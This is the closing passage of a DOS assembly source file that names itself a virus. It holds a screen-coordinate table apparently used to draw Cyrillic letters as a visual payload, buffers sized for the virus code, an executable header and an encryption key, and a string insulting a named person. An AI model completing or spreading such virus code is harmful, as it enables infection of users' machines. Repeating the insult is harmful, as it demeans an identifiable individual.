065 * 320 ;Д 10 dw 215 + 065 * 320 ;Д 10 dw 231 + 045 * 320 ;О 6 dw 237 + 045 * 320 ;О 6 dw 226 + 050 * 320 ;О 7 dw 242 + 050 * 320 ;О 7 dw 226 + 055 * 320 ;О 8 dw 242 + 055 * 320 ;О 8 dw 226 + 060 * 320 ;О 9 dw 242 + 060 * 320 ;О 9 dw 231 + 065 * 320 ;О 10 dw 237 + 065 * 320 ;О 10 dw 254 + 045 * 320 ;Р 6 dw 260 + 045 * 320 ;Р 6 dw 266 + 045 * 320 ;Р 6 dw 254 + 050 * 320 ;Р 7 dw 270 + 050 * 320 ;Р 7 dw 254 + 055 * 320 ;Р 8 dw 260 + 055 * 320 ;Р 8 dw 266 + 055 * 320 ;Р 8 dw 254 + 060 * 320 ;Р 9 dw 254 + 065 * 320 ;Р 10 CordSize = $ - Cord ;══════════════════════════════════════════════════════════════════════════════ ;══════════════════════════════════════════════════════════════════════════════ ; ДАННЫЕ ;══════════════════════════════════════════════════════════════════════════════ db '[Игорь Влад. Власов - подлый ламер и моральный урод]' CodeSize = $ - Virus Temp dw 0,? Header db 18h dup (?) Buffer db CodeSize dup (?) Key4 db ?,? MemSize = $ - Virus Code ends end Virus